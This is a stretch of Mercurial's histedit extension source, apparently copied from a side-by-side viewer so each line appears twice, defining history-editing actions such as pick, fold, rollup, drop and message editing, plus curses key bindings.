567 _(b'Fix up the change (%s %s)')
567 _(b'Fix up the change (%s %s)')
568 % (self.verb, node.short(self.node)),
568 % (self.verb, node.short(self.node)),
569 hint=_(b'hg histedit --continue to resume'),
569 hint=_(b'hg histedit --continue to resume'),
570 )
570 )
571
571
572 def continuedirty(self):
572 def continuedirty(self):
573 """Continues the action when changes have been applied to the working
573 """Continues the action when changes have been applied to the working
574 copy. The default behavior is to commit the dirty changes."""
574 copy. The default behavior is to commit the dirty changes."""
575 repo = self.repo
575 repo = self.repo
576 rulectx = repo[self.node]
576 rulectx = repo[self.node]
577
577
578 editor = self.commiteditor()
578 editor = self.commiteditor()
579 commit = commitfuncfor(repo, rulectx)
579 commit = commitfuncfor(repo, rulectx)
580 if repo.ui.configbool(b'rewrite', b'update-timestamp'):
580 if repo.ui.configbool(b'rewrite', b'update-timestamp'):
581 date = dateutil.makedate()
581 date = dateutil.makedate()
582 else:
582 else:
583 date = rulectx.date()
583 date = rulectx.date()
584 commit(
584 commit(
585 text=rulectx.description(),
585 text=rulectx.description(),
586 user=rulectx.user(),
586 user=rulectx.user(),
587 date=date,
587 date=date,
588 extra=rulectx.extra(),
588 extra=rulectx.extra(),
589 editor=editor,
589 editor=editor,
590 )
590 )
591
591
592 def commiteditor(self):
592 def commiteditor(self):
593 """The editor to be used to edit the commit message."""
593 """The editor to be used to edit the commit message."""
594 return False
594 return False
595
595
596 def continueclean(self):
596 def continueclean(self):
597 """Continues the action when the working copy is clean. The default
597 """Continues the action when the working copy is clean. The default
598 behavior is to accept the current commit as the new version of the
598 behavior is to accept the current commit as the new version of the
599 rulectx."""
599 rulectx."""
600 ctx = self.repo[b'.']
600 ctx = self.repo[b'.']
601 if ctx.node() == self.state.parentctxnode:
601 if ctx.node() == self.state.parentctxnode:
602 self.repo.ui.warn(
602 self.repo.ui.warn(
603 _(b'%s: skipping changeset (no changes)\n')
603 _(b'%s: skipping changeset (no changes)\n')
604 % node.short(self.node)
604 % node.short(self.node)
605 )
605 )
606 return ctx, [(self.node, tuple())]
606 return ctx, [(self.node, tuple())]
607 if ctx.node() == self.node:
607 if ctx.node() == self.node:
608 # Nothing changed
608 # Nothing changed
609 return ctx, []
609 return ctx, []
610 return ctx, [(self.node, (ctx.node(),))]
610 return ctx, [(self.node, (ctx.node(),))]
611
611
612
612
613 def commitfuncfor(repo, src):
613 def commitfuncfor(repo, src):
614 """Build a commit function for the replacement of <src>
614 """Build a commit function for the replacement of <src>
615
615
616 This function ensure we apply the same treatment to all changesets.
616 This function ensure we apply the same treatment to all changesets.
617
617
618 - Add a 'histedit_source' entry in extra.
618 - Add a 'histedit_source' entry in extra.
619
619
620 Note that fold has its own separated logic because its handling is a bit
620 Note that fold has its own separated logic because its handling is a bit
621 different and not easily factored out of the fold method.
621 different and not easily factored out of the fold method.
622 """
622 """
623 phasemin = src.phase()
623 phasemin = src.phase()
624
624
625 def commitfunc(**kwargs):
625 def commitfunc(**kwargs):
626 overrides = {(b'phases', b'new-commit'): phasemin}
626 overrides = {(b'phases', b'new-commit'): phasemin}
627 with repo.ui.configoverride(overrides, b'histedit'):
627 with repo.ui.configoverride(overrides, b'histedit'):
628 extra = kwargs.get('extra', {}).copy()
628 extra = kwargs.get('extra', {}).copy()
629 extra[b'histedit_source'] = src.hex()
629 extra[b'histedit_source'] = src.hex()
630 kwargs['extra'] = extra
630 kwargs['extra'] = extra
631 return repo.commit(**kwargs)
631 return repo.commit(**kwargs)
632
632
633 return commitfunc
633 return commitfunc
634
634
635
635
636 def applychanges(ui, repo, ctx, opts):
636 def applychanges(ui, repo, ctx, opts):
637 """Merge changeset from ctx (only) in the current working directory"""
637 """Merge changeset from ctx (only) in the current working directory"""
638 wcpar = repo.dirstate.p1()
638 wcpar = repo.dirstate.p1()
639 if ctx.p1().node() == wcpar:
639 if ctx.p1().node() == wcpar:
640 # edits are "in place" we do not need to make any merge,
640 # edits are "in place" we do not need to make any merge,
641 # just applies changes on parent for editing
641 # just applies changes on parent for editing
642 ui.pushbuffer()
642 ui.pushbuffer()
643 cmdutil.revert(ui, repo, ctx, (wcpar, node.nullid), all=True)
643 cmdutil.revert(ui, repo, ctx, (wcpar, node.nullid), all=True)
644 stats = mergemod.updateresult(0, 0, 0, 0)
644 stats = mergemod.updateresult(0, 0, 0, 0)
645 ui.popbuffer()
645 ui.popbuffer()
646 else:
646 else:
647 try:
647 try:
648 # ui.forcemerge is an internal variable, do not document
648 # ui.forcemerge is an internal variable, do not document
649 repo.ui.setconfig(
649 repo.ui.setconfig(
650 b'ui', b'forcemerge', opts.get(b'tool', b''), b'histedit'
650 b'ui', b'forcemerge', opts.get(b'tool', b''), b'histedit'
651 )
651 )
652 stats = mergemod.graft(repo, ctx, labels=[b'local', b'histedit'])
652 stats = mergemod.graft(repo, ctx, labels=[b'local', b'histedit'])
653 finally:
653 finally:
654 repo.ui.setconfig(b'ui', b'forcemerge', b'', b'histedit')
654 repo.ui.setconfig(b'ui', b'forcemerge', b'', b'histedit')
655 return stats
655 return stats
656
656
657
657
658 def collapse(repo, firstctx, lastctx, commitopts, skipprompt=False):
658 def collapse(repo, firstctx, lastctx, commitopts, skipprompt=False):
659 """collapse the set of revisions from first to last as new one.
659 """collapse the set of revisions from first to last as new one.
660
660
661 Expected commit options are:
661 Expected commit options are:
662 - message
662 - message
663 - date
663 - date
664 - username
664 - username
665 Commit message is edited in all cases.
665 Commit message is edited in all cases.
666
666
667 This function works in memory."""
667 This function works in memory."""
668 ctxs = list(repo.set(b'%d::%d', firstctx.rev(), lastctx.rev()))
668 ctxs = list(repo.set(b'%d::%d', firstctx.rev(), lastctx.rev()))
669 if not ctxs:
669 if not ctxs:
670 return None
670 return None
671 for c in ctxs:
671 for c in ctxs:
672 if not c.mutable():
672 if not c.mutable():
673 raise error.ParseError(
673 raise error.ParseError(
674 _(b"cannot fold into public change %s") % node.short(c.node())
674 _(b"cannot fold into public change %s") % node.short(c.node())
675 )
675 )
676 base = firstctx.p1()
676 base = firstctx.p1()
677
677
678 # commit a new version of the old changeset, including the update
678 # commit a new version of the old changeset, including the update
679 # collect all files which might be affected
679 # collect all files which might be affected
680 files = set()
680 files = set()
681 for ctx in ctxs:
681 for ctx in ctxs:
682 files.update(ctx.files())
682 files.update(ctx.files())
683
683
684 # Recompute copies (avoid recording a -> b -> a)
684 # Recompute copies (avoid recording a -> b -> a)
685 copied = copies.pathcopies(base, lastctx)
685 copied = copies.pathcopies(base, lastctx)
686
686
687 # prune files which were reverted by the updates
687 # prune files which were reverted by the updates
688 files = [f for f in files if not cmdutil.samefile(f, lastctx, base)]
688 files = [f for f in files if not cmdutil.samefile(f, lastctx, base)]
689 # commit version of these files as defined by head
689 # commit version of these files as defined by head
690 headmf = lastctx.manifest()
690 headmf = lastctx.manifest()
691
691
692 def filectxfn(repo, ctx, path):
692 def filectxfn(repo, ctx, path):
693 if path in headmf:
693 if path in headmf:
694 fctx = lastctx[path]
694 fctx = lastctx[path]
695 flags = fctx.flags()
695 flags = fctx.flags()
696 mctx = context.memfilectx(
696 mctx = context.memfilectx(
697 repo,
697 repo,
698 ctx,
698 ctx,
699 fctx.path(),
699 fctx.path(),
700 fctx.data(),
700 fctx.data(),
701 islink=b'l' in flags,
701 islink=b'l' in flags,
702 isexec=b'x' in flags,
702 isexec=b'x' in flags,
703 copysource=copied.get(path),
703 copysource=copied.get(path),
704 )
704 )
705 return mctx
705 return mctx
706 return None
706 return None
707
707
708 if commitopts.get(b'message'):
708 if commitopts.get(b'message'):
709 message = commitopts[b'message']
709 message = commitopts[b'message']
710 else:
710 else:
711 message = firstctx.description()
711 message = firstctx.description()
712 user = commitopts.get(b'user')
712 user = commitopts.get(b'user')
713 date = commitopts.get(b'date')
713 date = commitopts.get(b'date')
714 extra = commitopts.get(b'extra')
714 extra = commitopts.get(b'extra')
715
715
716 parents = (firstctx.p1().node(), firstctx.p2().node())
716 parents = (firstctx.p1().node(), firstctx.p2().node())
717 editor = None
717 editor = None
718 if not skipprompt:
718 if not skipprompt:
719 editor = cmdutil.getcommiteditor(edit=True, editform=b'histedit.fold')
719 editor = cmdutil.getcommiteditor(edit=True, editform=b'histedit.fold')
720 new = context.memctx(
720 new = context.memctx(
721 repo,
721 repo,
722 parents=parents,
722 parents=parents,
723 text=message,
723 text=message,
724 files=files,
724 files=files,
725 filectxfn=filectxfn,
725 filectxfn=filectxfn,
726 user=user,
726 user=user,
727 date=date,
727 date=date,
728 extra=extra,
728 extra=extra,
729 editor=editor,
729 editor=editor,
730 )
730 )
731 return repo.commitctx(new)
731 return repo.commitctx(new)
732
732
733
733
734 def _isdirtywc(repo):
734 def _isdirtywc(repo):
735 return repo[None].dirty(missing=True)
735 return repo[None].dirty(missing=True)
736
736
737
737
738 def abortdirty():
738 def abortdirty():
739 raise error.Abort(
739 raise error.Abort(
740 _(b'working copy has pending changes'),
740 _(b'working copy has pending changes'),
741 hint=_(
741 hint=_(
742 b'amend, commit, or revert them and run histedit '
742 b'amend, commit, or revert them and run histedit '
743 b'--continue, or abort with histedit --abort'
743 b'--continue, or abort with histedit --abort'
744 ),
744 ),
745 )
745 )
746
746
747
747
748 def action(verbs, message, priority=False, internal=False):
748 def action(verbs, message, priority=False, internal=False):
749 def wrap(cls):
749 def wrap(cls):
750 assert not priority or not internal
750 assert not priority or not internal
751 verb = verbs[0]
751 verb = verbs[0]
752 if priority:
752 if priority:
753 primaryactions.add(verb)
753 primaryactions.add(verb)
754 elif internal:
754 elif internal:
755 internalactions.add(verb)
755 internalactions.add(verb)
756 elif len(verbs) > 1:
756 elif len(verbs) > 1:
757 secondaryactions.add(verb)
757 secondaryactions.add(verb)
758 else:
758 else:
759 tertiaryactions.add(verb)
759 tertiaryactions.add(verb)
760
760
761 cls.verb = verb
761 cls.verb = verb
762 cls.verbs = verbs
762 cls.verbs = verbs
763 cls.message = message
763 cls.message = message
764 for verb in verbs:
764 for verb in verbs:
765 actiontable[verb] = cls
765 actiontable[verb] = cls
766 return cls
766 return cls
767
767
768 return wrap
768 return wrap
769
769
770
770
771 @action([b'pick', b'p'], _(b'use commit'), priority=True)
771 @action([b'pick', b'p'], _(b'use commit'), priority=True)
772 class pick(histeditaction):
772 class pick(histeditaction):
773 def run(self):
773 def run(self):
774 rulectx = self.repo[self.node]
774 rulectx = self.repo[self.node]
775 if rulectx.p1().node() == self.state.parentctxnode:
775 if rulectx.p1().node() == self.state.parentctxnode:
776 self.repo.ui.debug(b'node %s unchanged\n' % node.short(self.node))
776 self.repo.ui.debug(b'node %s unchanged\n' % node.short(self.node))
777 return rulectx, []
777 return rulectx, []
778
778
779 return super(pick, self).run()
779 return super(pick, self).run()
780
780
781
781
782 @action([b'edit', b'e'], _(b'use commit, but stop for amending'), priority=True)
782 @action([b'edit', b'e'], _(b'use commit, but stop for amending'), priority=True)
783 class edit(histeditaction):
783 class edit(histeditaction):
784 def run(self):
784 def run(self):
785 repo = self.repo
785 repo = self.repo
786 rulectx = repo[self.node]
786 rulectx = repo[self.node]
787 hg.update(repo, self.state.parentctxnode, quietempty=True)
787 hg.update(repo, self.state.parentctxnode, quietempty=True)
788 applychanges(repo.ui, repo, rulectx, {})
788 applychanges(repo.ui, repo, rulectx, {})
789 raise error.InterventionRequired(
789 raise error.InterventionRequired(
790 _(b'Editing (%s), you may commit or record as needed now.')
790 _(b'Editing (%s), you may commit or record as needed now.')
791 % node.short(self.node),
791 % node.short(self.node),
792 hint=_(b'hg histedit --continue to resume'),
792 hint=_(b'hg histedit --continue to resume'),
793 )
793 )
794
794
795 def commiteditor(self):
795 def commiteditor(self):
796 return cmdutil.getcommiteditor(edit=True, editform=b'histedit.edit')
796 return cmdutil.getcommiteditor(edit=True, editform=b'histedit.edit')
797
797
798
798
799 @action([b'fold', b'f'], _(b'use commit, but combine it with the one above'))
799 @action([b'fold', b'f'], _(b'use commit, but combine it with the one above'))
800 class fold(histeditaction):
800 class fold(histeditaction):
801 def verify(self, prev, expected, seen):
801 def verify(self, prev, expected, seen):
802 """ Verifies semantic correctness of the fold rule"""
802 """ Verifies semantic correctness of the fold rule"""
803 super(fold, self).verify(prev, expected, seen)
803 super(fold, self).verify(prev, expected, seen)
804 repo = self.repo
804 repo = self.repo
805 if not prev:
805 if not prev:
806 c = repo[self.node].p1()
806 c = repo[self.node].p1()
807 elif not prev.verb in (b'pick', b'base'):
807 elif not prev.verb in (b'pick', b'base'):
808 return
808 return
809 else:
809 else:
810 c = repo[prev.node]
810 c = repo[prev.node]
811 if not c.mutable():
811 if not c.mutable():
812 raise error.ParseError(
812 raise error.ParseError(
813 _(b"cannot fold into public change %s") % node.short(c.node())
813 _(b"cannot fold into public change %s") % node.short(c.node())
814 )
814 )
815
815
816 def continuedirty(self):
816 def continuedirty(self):
817 repo = self.repo
817 repo = self.repo
818 rulectx = repo[self.node]
818 rulectx = repo[self.node]
819
819
820 commit = commitfuncfor(repo, rulectx)
820 commit = commitfuncfor(repo, rulectx)
821 commit(
821 commit(
822 text=b'fold-temp-revision %s' % node.short(self.node),
822 text=b'fold-temp-revision %s' % node.short(self.node),
823 user=rulectx.user(),
823 user=rulectx.user(),
824 date=rulectx.date(),
824 date=rulectx.date(),
825 extra=rulectx.extra(),
825 extra=rulectx.extra(),
826 )
826 )
827
827
828 def continueclean(self):
828 def continueclean(self):
829 repo = self.repo
829 repo = self.repo
830 ctx = repo[b'.']
830 ctx = repo[b'.']
831 rulectx = repo[self.node]
831 rulectx = repo[self.node]
832 parentctxnode = self.state.parentctxnode
832 parentctxnode = self.state.parentctxnode
833 if ctx.node() == parentctxnode:
833 if ctx.node() == parentctxnode:
834 repo.ui.warn(_(b'%s: empty changeset\n') % node.short(self.node))
834 repo.ui.warn(_(b'%s: empty changeset\n') % node.short(self.node))
835 return ctx, [(self.node, (parentctxnode,))]
835 return ctx, [(self.node, (parentctxnode,))]
836
836
837 parentctx = repo[parentctxnode]
837 parentctx = repo[parentctxnode]
838 newcommits = {
838 newcommits = {
839 c.node()
839 c.node()
840 for c in repo.set(b'(%d::. - %d)', parentctx.rev(), parentctx.rev())
840 for c in repo.set(b'(%d::. - %d)', parentctx.rev(), parentctx.rev())
841 }
841 }
842 if not newcommits:
842 if not newcommits:
843 repo.ui.warn(
843 repo.ui.warn(
844 _(
844 _(
845 b'%s: cannot fold - working copy is not a '
845 b'%s: cannot fold - working copy is not a '
846 b'descendant of previous commit %s\n'
846 b'descendant of previous commit %s\n'
847 )
847 )
848 % (node.short(self.node), node.short(parentctxnode))
848 % (node.short(self.node), node.short(parentctxnode))
849 )
849 )
850 return ctx, [(self.node, (ctx.node(),))]
850 return ctx, [(self.node, (ctx.node(),))]
851
851
852 middlecommits = newcommits.copy()
852 middlecommits = newcommits.copy()
853 middlecommits.discard(ctx.node())
853 middlecommits.discard(ctx.node())
854
854
855 return self.finishfold(
855 return self.finishfold(
856 repo.ui, repo, parentctx, rulectx, ctx.node(), middlecommits
856 repo.ui, repo, parentctx, rulectx, ctx.node(), middlecommits
857 )
857 )
858
858
859 def skipprompt(self):
859 def skipprompt(self):
860 """Returns true if the rule should skip the message editor.
860 """Returns true if the rule should skip the message editor.
861
861
862 For example, 'fold' wants to show an editor, but 'rollup'
862 For example, 'fold' wants to show an editor, but 'rollup'
863 doesn't want to.
863 doesn't want to.
864 """
864 """
865 return False
865 return False
866
866
867 def mergedescs(self):
867 def mergedescs(self):
868 """Returns true if the rule should merge messages of multiple changes.
868 """Returns true if the rule should merge messages of multiple changes.
869
869
870 This exists mainly so that 'rollup' rules can be a subclass of
870 This exists mainly so that 'rollup' rules can be a subclass of
871 'fold'.
871 'fold'.
872 """
872 """
873 return True
873 return True
874
874
875 def firstdate(self):
875 def firstdate(self):
876 """Returns true if the rule should preserve the date of the first
876 """Returns true if the rule should preserve the date of the first
877 change.
877 change.
878
878
879 This exists mainly so that 'rollup' rules can be a subclass of
879 This exists mainly so that 'rollup' rules can be a subclass of
880 'fold'.
880 'fold'.
881 """
881 """
882 return False
882 return False
883
883
884 def finishfold(self, ui, repo, ctx, oldctx, newnode, internalchanges):
884 def finishfold(self, ui, repo, ctx, oldctx, newnode, internalchanges):
885 parent = ctx.p1().node()
885 parent = ctx.p1().node()
886 hg.updaterepo(repo, parent, overwrite=False)
886 hg.updaterepo(repo, parent, overwrite=False)
887 ### prepare new commit data
887 ### prepare new commit data
888 commitopts = {}
888 commitopts = {}
889 commitopts[b'user'] = ctx.user()
889 commitopts[b'user'] = ctx.user()
890 # commit message
890 # commit message
891 if not self.mergedescs():
891 if not self.mergedescs():
892 newmessage = ctx.description()
892 newmessage = ctx.description()
893 else:
893 else:
894 newmessage = (
894 newmessage = (
895 b'\n***\n'.join(
895 b'\n***\n'.join(
896 [ctx.description()]
896 [ctx.description()]
897 + [repo[r].description() for r in internalchanges]
897 + [repo[r].description() for r in internalchanges]
898 + [oldctx.description()]
898 + [oldctx.description()]
899 )
899 )
900 + b'\n'
900 + b'\n'
901 )
901 )
902 commitopts[b'message'] = newmessage
902 commitopts[b'message'] = newmessage
903 # date
903 # date
904 if self.firstdate():
904 if self.firstdate():
905 commitopts[b'date'] = ctx.date()
905 commitopts[b'date'] = ctx.date()
906 else:
906 else:
907 commitopts[b'date'] = max(ctx.date(), oldctx.date())
907 commitopts[b'date'] = max(ctx.date(), oldctx.date())
908 # if date is to be updated to current
908 # if date is to be updated to current
909 if ui.configbool(b'rewrite', b'update-timestamp'):
909 if ui.configbool(b'rewrite', b'update-timestamp'):
910 commitopts[b'date'] = dateutil.makedate()
910 commitopts[b'date'] = dateutil.makedate()
911
911
912 extra = ctx.extra().copy()
912 extra = ctx.extra().copy()
913 # histedit_source
913 # histedit_source
914 # note: ctx is likely a temporary commit but that the best we can do
914 # note: ctx is likely a temporary commit but that the best we can do
915 # here. This is sufficient to solve issue3681 anyway.
915 # here. This is sufficient to solve issue3681 anyway.
916 extra[b'histedit_source'] = b'%s,%s' % (ctx.hex(), oldctx.hex())
916 extra[b'histedit_source'] = b'%s,%s' % (ctx.hex(), oldctx.hex())
917 commitopts[b'extra'] = extra
917 commitopts[b'extra'] = extra
918 phasemin = max(ctx.phase(), oldctx.phase())
918 phasemin = max(ctx.phase(), oldctx.phase())
919 overrides = {(b'phases', b'new-commit'): phasemin}
919 overrides = {(b'phases', b'new-commit'): phasemin}
920 with repo.ui.configoverride(overrides, b'histedit'):
920 with repo.ui.configoverride(overrides, b'histedit'):
921 n = collapse(
921 n = collapse(
922 repo,
922 repo,
923 ctx,
923 ctx,
924 repo[newnode],
924 repo[newnode],
925 commitopts,
925 commitopts,
926 skipprompt=self.skipprompt(),
926 skipprompt=self.skipprompt(),
927 )
927 )
928 if n is None:
928 if n is None:
929 return ctx, []
929 return ctx, []
930 hg.updaterepo(repo, n, overwrite=False)
930 hg.updaterepo(repo, n, overwrite=False)
931 replacements = [
931 replacements = [
932 (oldctx.node(), (newnode,)),
932 (oldctx.node(), (newnode,)),
933 (ctx.node(), (n,)),
933 (ctx.node(), (n,)),
934 (newnode, (n,)),
934 (newnode, (n,)),
935 ]
935 ]
936 for ich in internalchanges:
936 for ich in internalchanges:
937 replacements.append((ich, (n,)))
937 replacements.append((ich, (n,)))
938 return repo[n], replacements
938 return repo[n], replacements
939
939
940
940
941 @action(
941 @action(
942 [b'base', b'b'],
942 [b'base', b'b'],
943 _(b'checkout changeset and apply further changesets from there'),
943 _(b'checkout changeset and apply further changesets from there'),
944 )
944 )
945 class base(histeditaction):
945 class base(histeditaction):
946 def run(self):
946 def run(self):
947 if self.repo[b'.'].node() != self.node:
947 if self.repo[b'.'].node() != self.node:
948 mergemod.clean_update(self.repo[self.node])
948 mergemod.clean_update(self.repo[self.node])
949 return self.continueclean()
949 return self.continueclean()
950
950
951 def continuedirty(self):
951 def continuedirty(self):
952 abortdirty()
952 abortdirty()
953
953
954 def continueclean(self):
954 def continueclean(self):
955 basectx = self.repo[b'.']
955 basectx = self.repo[b'.']
956 return basectx, []
956 return basectx, []
957
957
958 def _verifynodeconstraints(self, prev, expected, seen):
958 def _verifynodeconstraints(self, prev, expected, seen):
959 # base can only be use with a node not in the edited set
959 # base can only be use with a node not in the edited set
960 if self.node in expected:
960 if self.node in expected:
961 msg = _(b'%s "%s" changeset was an edited list candidate')
961 msg = _(b'%s "%s" changeset was an edited list candidate')
962 raise error.ParseError(
962 raise error.ParseError(
963 msg % (self.verb, node.short(self.node)),
963 msg % (self.verb, node.short(self.node)),
964 hint=_(b'base must only use unlisted changesets'),
964 hint=_(b'base must only use unlisted changesets'),
965 )
965 )
966
966
967
967
968 @action(
968 @action(
969 [b'_multifold'],
969 [b'_multifold'],
970 _(
970 _(
971 """fold subclass used for when multiple folds happen in a row
971 """fold subclass used for when multiple folds happen in a row
972
972
973 We only want to fire the editor for the folded message once when
973 We only want to fire the editor for the folded message once when
974 (say) four changes are folded down into a single change. This is
974 (say) four changes are folded down into a single change. This is
975 similar to rollup, but we should preserve both messages so that
975 similar to rollup, but we should preserve both messages so that
976 when the last fold operation runs we can show the user all the
976 when the last fold operation runs we can show the user all the
977 commit messages in their editor.
977 commit messages in their editor.
978 """
978 """
979 ),
979 ),
980 internal=True,
980 internal=True,
981 )
981 )
982 class _multifold(fold):
982 class _multifold(fold):
983 def skipprompt(self):
983 def skipprompt(self):
984 return True
984 return True
985
985
986
986
987 @action(
987 @action(
988 [b"roll", b"r"],
988 [b"roll", b"r"],
989 _(b"like fold, but discard this commit's description and date"),
989 _(b"like fold, but discard this commit's description and date"),
990 )
990 )
991 class rollup(fold):
991 class rollup(fold):
992 def mergedescs(self):
992 def mergedescs(self):
993 return False
993 return False
994
994
995 def skipprompt(self):
995 def skipprompt(self):
996 return True
996 return True
997
997
998 def firstdate(self):
998 def firstdate(self):
999 return True
999 return True
1000
1000
1001
1001
1002 @action([b"drop", b"d"], _(b'remove commit from history'))
1002 @action([b"drop", b"d"], _(b'remove commit from history'))
1003 class drop(histeditaction):
1003 class drop(histeditaction):
1004 def run(self):
1004 def run(self):
1005 parentctx = self.repo[self.state.parentctxnode]
1005 parentctx = self.repo[self.state.parentctxnode]
1006 return parentctx, [(self.node, tuple())]
1006 return parentctx, [(self.node, tuple())]
1007
1007
1008
1008
1009 @action(
1009 @action(
1010 [b"mess", b"m"],
1010 [b"mess", b"m"],
1011 _(b'edit commit message without changing commit content'),
1011 _(b'edit commit message without changing commit content'),
1012 priority=True,
1012 priority=True,
1013 )
1013 )
1014 class message(histeditaction):
1014 class message(histeditaction):
1015 def commiteditor(self):
1015 def commiteditor(self):
1016 return cmdutil.getcommiteditor(edit=True, editform=b'histedit.mess')
1016 return cmdutil.getcommiteditor(edit=True, editform=b'histedit.mess')
1017
1017
1018
1018
1019 def findoutgoing(ui, repo, remote=None, force=False, opts=None):
1019 def findoutgoing(ui, repo, remote=None, force=False, opts=None):
1020 """utility function to find the first outgoing changeset
1020 """utility function to find the first outgoing changeset
1021
1021
1022 Used by initialization code"""
1022 Used by initialization code"""
1023 if opts is None:
1023 if opts is None:
1024 opts = {}
1024 opts = {}
1025 dest = ui.expandpath(remote or b'default-push', remote or b'default')
1025 dest = ui.expandpath(remote or b'default-push', remote or b'default')
1026 dest, branches = hg.parseurl(dest, None)[:2]
1026 dest, branches = hg.parseurl(dest, None)[:2]
1027 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
1027 ui.status(_(b'comparing with %s\n') % util.hidepassword(dest))
1028
1028
1029 revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
1029 revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
1030 other = hg.peer(repo, opts, dest)
1030 other = hg.peer(repo, opts, dest)
1031
1031
1032 if revs:
1032 if revs:
1033 revs = [repo.lookup(rev) for rev in revs]
1033 revs = [repo.lookup(rev) for rev in revs]
1034
1034
1035 outgoing = discovery.findcommonoutgoing(repo, other, revs, force=force)
1035 outgoing = discovery.findcommonoutgoing(repo, other, revs, force=force)
1036 if not outgoing.missing:
1036 if not outgoing.missing:
1037 raise error.Abort(_(b'no outgoing ancestors'))
1037 raise error.Abort(_(b'no outgoing ancestors'))
1038 roots = list(repo.revs(b"roots(%ln)", outgoing.missing))
1038 roots = list(repo.revs(b"roots(%ln)", outgoing.missing))
1039 if len(roots) > 1:
1039 if len(roots) > 1:
1040 msg = _(b'there are ambiguous outgoing revisions')
1040 msg = _(b'there are ambiguous outgoing revisions')
1041 hint = _(b"see 'hg help histedit' for more detail")
1041 hint = _(b"see 'hg help histedit' for more detail")
1042 raise error.Abort(msg, hint=hint)
1042 raise error.Abort(msg, hint=hint)
1043 return repo[roots[0]].node()
1043 return repo[roots[0]].node()
1044
1044
1045
1045
1046 # Curses Support
1046 # Curses Support
1047 try:
1047 try:
1048 import curses
1048 import curses
1049 except ImportError:
1049 except ImportError:
1050 curses = None
1050 curses = None
1051
1051
1052 KEY_LIST = [b'pick', b'edit', b'fold', b'drop', b'mess', b'roll']
1052 KEY_LIST = [b'pick', b'edit', b'fold', b'drop', b'mess', b'roll']
1053 ACTION_LABELS = {
1053 ACTION_LABELS = {
1054 b'fold': b'^fold',
1054 b'fold': b'^fold',
1055 b'roll': b'^roll',
1055 b'roll': b'^roll',
1056 }
1056 }
1057
1057
1058 COLOR_HELP, COLOR_SELECTED, COLOR_OK, COLOR_WARN, COLOR_CURRENT = 1, 2, 3, 4, 5
1058 COLOR_HELP, COLOR_SELECTED, COLOR_OK, COLOR_WARN, COLOR_CURRENT = 1, 2, 3, 4, 5
1059 COLOR_DIFF_ADD_LINE, COLOR_DIFF_DEL_LINE, COLOR_DIFF_OFFSET = 6, 7, 8
1059 COLOR_DIFF_ADD_LINE, COLOR_DIFF_DEL_LINE, COLOR_DIFF_OFFSET = 6, 7, 8
1060 COLOR_ROLL, COLOR_ROLL_CURRENT, COLOR_ROLL_SELECTED = 9, 10, 11
1060 COLOR_ROLL, COLOR_ROLL_CURRENT, COLOR_ROLL_SELECTED = 9, 10, 11
1061
1061
1062 E_QUIT, E_HISTEDIT = 1, 2
1062 E_QUIT, E_HISTEDIT = 1, 2
1063 E_PAGEDOWN, E_PAGEUP, E_LINEUP, E_LINEDOWN, E_RESIZE = 3, 4, 5, 6, 7
1063 E_PAGEDOWN, E_PAGEUP, E_LINEUP, E_LINEDOWN, E_RESIZE = 3, 4, 5, 6, 7
1064 MODE_INIT, MODE_PATCH, MODE_RULES, MODE_HELP = 0, 1, 2, 3
1064 MODE_INIT, MODE_PATCH, MODE_RULES, MODE_HELP = 0, 1, 2, 3
1065
1065
1066 KEYTABLE = {
1066 KEYTABLE = {
1067 b'global': {
1067 b'global': {
1068 b'h': b'next-action',
1068 b'h': b'next-action',
1069 b'KEY_RIGHT': b'next-action',
1069 b'KEY_RIGHT': b'next-action',
1070 b'l': b'prev-action',
1070 b'l': b'prev-action',
1071 b'KEY_LEFT': b'prev-action',
1071 b'KEY_LEFT': b'prev-action',
1072 b'q': b'quit',
1072 b'q': b'quit',
1073 b'c': b'histedit',
1073 b'c': b'histedit',
1074 b'C': b'histedit',
1074 b'C': b'histedit',
1075 b'v': b'showpatch',
1075 b'v': b'showpatch',
1076 b'?': b'help',
1076 b'?': b'help',
1077 },
1077 },
1078 MODE_RULES: {
1078 MODE_RULES: {
1079 b'd': b'action-drop',
1079 b'd': b'action-drop',
1080 b'e': b'action-edit',
1080 b'e': b'action-edit',
1081 b'f': b'action-fold',
1081 b'f': b'action-fold',
1082 b'm': b'action-mess',
1082 b'm': b'action-mess',
1083 b'p': b'action-pick',
1083 b'p': b'action-pick',
1084 b'r': b'action-roll',
1084 b'r': b'action-roll',
1085 b' ': b'select',
1085 b' ': b'select',
1086 b'j': b'down',
1086 b'j': b'down',
1087 b'k': b'up',
1087 b'k': b'up',
1088 b'KEY_DOWN': b'down',
1088 b'KEY_DOWN': b'down',
1089 b'KEY_UP': b'up',
1089 b'KEY_UP': b'up',
1090 b'J': b'move-down',
1090 b'J': b'move-down',
1091 b'K': b'move-up',
1091 b'K': b'move-up',
1092 b'KEY_NPAGE': b'move-down',
1092 b'KEY_NPAGE': b'move-down',
1093 b'KEY_PPAGE': b'move-up',
1093 b'KEY_PPAGE': b'move-up',
1094 b'0': b'goto', # Used for 0..9
1094 b'0': b'goto', # Used for 0..9
1095 },
1095 },
1096 MODE_PATCH: {
1096 MODE_PATCH: {
1097 b' ': b'page-down',
1097 b' ': b'page-down',
1098 b'KEY_NPAGE': b'page-down',
1098 b'KEY_NPAGE': b'page-down',
1099 b'KEY_PPAGE': b'page-up',
1099 b'KEY_PPAGE': b'page-up',
1100 b'j': b'line-down',
1100 b'j': b'line-down',
1101 b'k': b'line-up',
1101 b'k': b'line-up',
1102 b'KEY_DOWN': b'line-down',
1102 b'KEY_DOWN': b'line-down',
1103 b'KEY_UP': b'line-up',
1103 b'KEY_UP': b'line-up',
1104 b'J': b'down',
1104 b'J': b'down',
1105 b'K': b'up',
1105 b'K': b'up',
1106 },
1106 },
1107 MODE_HELP: {},
1107 MODE_HELP: {},
1108 }
1108 }
1109
1109
1110
1110
1111 def screen_size():
1111 def screen_size():
1112 return struct.unpack(b'hh', fcntl.ioctl(1, termios.TIOCGWINSZ, b' '))
1112 return struct.unpack(b'hh', fcntl.ioctl(1, termios.TIOCGWINSZ, b' '))
1113
1113
1114
1114
1115 class histeditrule(object):
1115 class histeditrule(object):
1116 def __init__(self, ui, ctx, pos, action=b'pick'):
1116 def __init__(self, ui, ctx, pos, action=b'pick'):
1117 self.ui = ui
1117 self.ui = ui
1118 self.ctx = ctx
1118 self.ctx = ctx
1119 self.action = action
1119 self.action = action
1120 self.origpos = pos
1120 self.origpos = pos
1121 self.pos = pos
1121 self.pos = pos
1122 self.conflicts = []
1122 self.conflicts = []
1123
1123
